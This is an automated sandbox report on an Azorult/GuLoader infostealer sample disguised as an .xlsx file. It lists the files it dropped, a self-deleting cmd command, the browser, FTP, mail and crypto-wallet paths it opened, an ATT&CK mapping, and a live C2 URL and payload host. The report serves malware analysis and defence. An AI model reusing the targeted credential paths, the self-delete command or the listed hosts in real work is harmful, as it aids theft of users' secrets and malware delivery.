Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-libraryloader-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-rtlsupport-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-runtime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\041FFB21\nssdbm3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-console-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-interlocked-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-errorhandling-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsf7C24.tmp\System.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-handle-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-process-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-environment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-sysinfo-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-filesystem-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-processthreads-l1-1-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-datetime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-utility-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-convert-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-time-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-synch-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-locale-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-namedpipe-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-processthreads-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-file-l2-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-stdio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-multibyte-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-conio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-file-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\041FFB21\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-debug-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-localization-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-timezone-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-profile-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-file-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\041FFB21\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-private-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\041FFB21\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-math-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-util-l1-1-0.dll	Jump to dropped file

Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Code function: 0_2_0040676F FindFirstFileW,FindClose,	0_2_0040676F
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Code function: 0_2_00402902 FindFirstFileW,	0_2_00402902
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Code function: 0_2_00405B23 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405B23
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Code function: 3_2_0040676F FindFirstFileW,FindClose,	3_2_0040676F
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Code function: 3_2_00402902 FindFirstFileW,	3_2_00402902
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Code function: 3_2_00405B23 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	3_2_00405B23

Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Printer Shortcuts	Jump to behavior

Source: 7000091945.xlsx.exe, 00000003.00000002.1861430706.0000000004E1F000.00000004.00000020.00020000.00000000.sdmp, 7000091945.xlsx.exe, 00000003.00000002.1861430706.0000000004DC8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 7000091945.xlsx.exe, 00000003.00000002.1861430706.0000000004E1F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW$Q

Source: C:\Users\user\Desktop\7000091945.xlsx.exe	API call chain: ExitProcess graph end node			graph_0-4301
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	API call chain: ExitProcess graph end node			graph_0-4451

Source: C:\Users\user\Desktop\7000091945.xlsx.exe

Code function: 0_2_00401C43 LdrInitializeThunk,SendMessageTimeoutW,SendMessageW,FindWindowExW,

0_2_00401C43

Source: C:\Users\user\Desktop\7000091945.xlsx.exe

Code function: 0_2_6FF41B5F GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_6FF41B5F

Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Process created: C:\Users\user\Desktop\7000091945.xlsx.exe "C:\Users\user\Desktop\7000091945.xlsx.exe"	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "7000091945.xlsx.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe C:\Windows\system32\timeout.exe 3	Jump to behavior

Source: C:\Users\user\Desktop\7000091945.xlsx.exe

Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\7000091945.xlsx.exe

Code function: 0_2_004034C5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,LdrInitializeThunk,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_004034C5

Source: C:\Users\user\Desktop\7000091945.xlsx.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Azorult

Source: Yara match	File source: 3.2.7000091945.xlsx.exe.353cba15.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.7000091945.xlsx.exe.353c64ad.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.7000091945.xlsx.exe.353c1d45.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.1856756897.0000000000060000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 7000091945.xlsx.exe PID: 8132, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 7000091945.xlsx.exe, 00000003.00000002.1861430706.0000000004E1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: lC:\Users\user\AppData\Roaming\Electrum-btcp\wallets\t.dat
Source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets\
Source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Jaxx\Local Storage\
Source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Exodus\
Source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Jaxx\Local Storage\
Source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Ethereum\keystore\
Source: 7000091945.xlsx.exe, 00000003.00000002.1861430706.0000000004E1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: t\AppData\Roaming\Exodus Eden\
Source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Ethereum\keystore\
Source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Ethereum\keystore\
Source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum-LTC\wallets\

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Key opened: HKEY_CURRENT_USER\Software\monero-project\monero-core			Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Key opened: HKEY_CURRENT_USER\Software\Bitcoin\Bitcoin-Qt			Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\7000091945.xlsx.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions\

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\7000091945.xlsx.exe

File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\7000091945.xlsx.exe

File opened: C:\Users\user\AppData\Roaming\filezilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File opened: C:\Users\user\AppData\Roaming\ElectrumG\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-btcp\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File opened: C:\Users\user\AppData\Roaming\Exodus Eden\	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File opened: C:\Users\user\AppData\Roaming\Jaxx\Local Storage\	Jump to behavior

Tries to steal Instant Messenger accounts or passwords

Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File opened: C:\Users\user\AppData\Roaming\.purple\accounts.xml			Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File opened: C:\Users\user\AppData\Roaming\.purple\accounts.xml			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\7000091945.xlsx.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

Jump to behavior

Source: Yara match	File source: 3.2.7000091945.xlsx.exe.353cba15.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.7000091945.xlsx.exe.353c64ad.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.7000091945.xlsx.exe.353c1d45.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 7000091945.xlsx.exe PID: 8132, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 Access Token Manipulation	111 Masquerading	2 OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	11 Process Injection	1 Access Token Manipulation	2 Credentials in Registry	3 File and Directory Discovery	Remote Desktop Protocol	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	11 Process Injection	1 Credentials In Files	225 System Information Discovery	SMB/Windows Admin Shares	4 Data from Local System	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	System Network Configuration Discovery	Distributed Component Object Model	1 Clipboard Data	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Obfuscated Files or Information	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Timestomp	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 File Deletion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
7000091945.xlsx.exe	24%	ReversingLabs	Win32.Trojan.GuLoader

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-console-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-datetime-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-debug-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-errorhandling-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-file-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-file-l1-2-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-file-l2-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-handle-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-heap-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-interlocked-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-libraryloader-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-localization-l1-2-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-memory-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-namedpipe-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-processenvironment-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-processthreads-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-processthreads-l1-1-1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-profile-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-rtlsupport-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-string-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-synch-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-synch-l1-2-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-sysinfo-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-timezone-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-util-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-conio-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-convert-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-environment-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-filesystem-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-heap-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-locale-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-math-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-multibyte-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-private-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-process-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-runtime-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-stdio-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-string-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-time-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-utility-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\041FFB21\freebl3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\041FFB21\mozglue.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\041FFB21\msvcp140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\041FFB21\nss3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\041FFB21\nssdbm3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\041FFB21\softokn3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\041FFB21\ucrtbase.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\041FFB21\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsf7C24.tmp\System.dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://geinf0.icu/TL341/index.phpLx	0%	Avira URL Cloud	safe
http://geinf0.icu/TL341/index.php	100%	Avira URL Cloud	malware
https://login.B	0%	Avira URL Cloud	safe
http://mertvinc.com.tr/OGDTCbBRybqnXF193.bin	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
mertvinc.com.tr	185.244.144.68	true	false		unknown
geinf0.icu	188.114.96.3	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://geinf0.icu/TL341/index.php	true	Avira URL Cloud: malware	unknown
http://mertvinc.com.tr/OGDTCbBRybqnXF193.bin	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.mozilla.com/en-US/blocklist/	7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	7000091945.xlsx.exe	false		high
http://crl.thawte.com/ThawteTimestampingCA.crl0	7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.3.dr, nssdbm3.dll.3.dr	false		high
https://login.B	7000091945.xlsx.exe, 00000003.00000002.1861430706.0000000004E1F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://geinf0.icu/TL341/index.phpLx	7000091945.xlsx.exe, 00000003.00000002.1856756897.0000000000060000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.thawte.com0	7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.3.dr, nssdbm3.dll.3.dr	false		high
http://www.mozilla.com0	7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.3.dr, nssdbm3.dll.3.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.244.144.68	mertvinc.com.tr	Turkey		199608	BIRBIRTR	false
188.114.96.3	geinf0.icu	European Union		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1549220
Start date and time:	2024-11-05 12:42:00 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	7000091945.xlsx.exe
